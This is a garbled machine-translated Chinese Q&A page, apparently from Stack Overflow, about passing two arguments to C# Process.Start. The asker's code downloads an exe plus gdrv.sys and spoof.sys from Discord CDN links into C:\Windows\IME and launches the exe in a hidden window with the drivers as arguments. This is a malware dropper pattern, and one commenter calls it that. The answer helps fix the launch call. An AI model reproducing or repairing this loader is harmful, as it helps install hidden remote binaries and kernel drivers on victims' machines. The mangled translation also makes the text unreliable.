C# 为什么可以';我不能在流程启动中设置3个变量吗?
这是我的密码C# 为什么可以';我不能在流程启动中设置3个变量吗?,c#,C#,这是我的密码 process = Process.Start(text, text2 + text3); 或 我希望能够用exe打开这些text2和text3 但是它不起作用,请帮忙我试了好几个小时,但我觉得我只是个哑巴 WebClient webClient = new WebClient(); string text = "C:\\Windows\\IME\\frAQBc8W.exe"; string text2 = "C:\\Wi
process = Process.Start(text, text2 + text3);
或
我希望能够用exe打开这些text2和text3
但是它不起作用,请帮忙我试了好几个小时,但我觉得我只是个哑巴
WebClient webClient = new WebClient();
string text = "C:\\Windows\\IME\\frAQBc8W.exe";
string text2 = "C:\\Windows\\IME\\gdrv.sys";
string text3 = "C:\\Windows\\IME\\spoof.sys";
webClient.DownloadFile("https://cdn.discordapp.com/attachments/8365247606747777092/8366484520987655168/gdrv.sys", text2);
webClient.DownloadFile("https://cdn.discordapp.com/attachments/8365247056747777092/8366484521621191390/spoof.sys", text3);
webClient.DownloadFile("https://cdn.discordapp.com/attachments/8365124706747777092/83664844808205321153/frAQBc8tt.exe", text);
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.UseShellExecute = true;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process = Process.Start(text, text2 + text3);
我注意到的第一件事是,当您在最后一行代码中重新分配
process
时,它会丢弃您修改StartInfo
属性的所有前几行。由于您已经很难设置它们,因此只需调用process.Start()
(无需任何赋值)
至于你的问题,如果你想启动一个进程并给它传递两个参数,那么你可以像你正在做的那样修改StartInfo
,除了使用“hello.exe”
作为文件名,并设置“world.sys earth.sys”
作为进程.StartInfo.arguments
的值:
Process process = new Process();
process.StartInfo.FileName = "hello.exe";
process.StartInfo.Arguments = "world.sys earth.sys";
process.StartInfo.UseShellExecute = true;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start();
或者,如果不需要设置所有这些附加的StartInfo
属性,则可以使用为获取进程名称及其参数而构建的构造函数:
既然您已经说明了典型的命令行是:hello.exe world.sys earth.sys
,那么我们将传递hello.exe
作为第一个参数(如果路径环境变量中还没有包含可执行文件的完整路径),然后是字符串“world.sys earth.sys”
在代码中,它可能看起来像:
var process = Process.Start(@"c:\temp\hello.exe", "world.sys earth.sys");
您还可以通过设置
StartInfo
属性来组合这两个选项(除了FileName
和参数
),然后用上面的参数调用Start
方法。建议阅读:如何正常使用exe打开这两个文本文件?我使用这个hello.exe world.sys earth.sysso,然后使用hello.exe作为文件名,并将另外两个作为argumentsOh joy传递,这是恶意软件滴管的另一个明显示例。。。
var process = Process.Start(@"c:\temp\hello.exe", "world.sys earth.sys");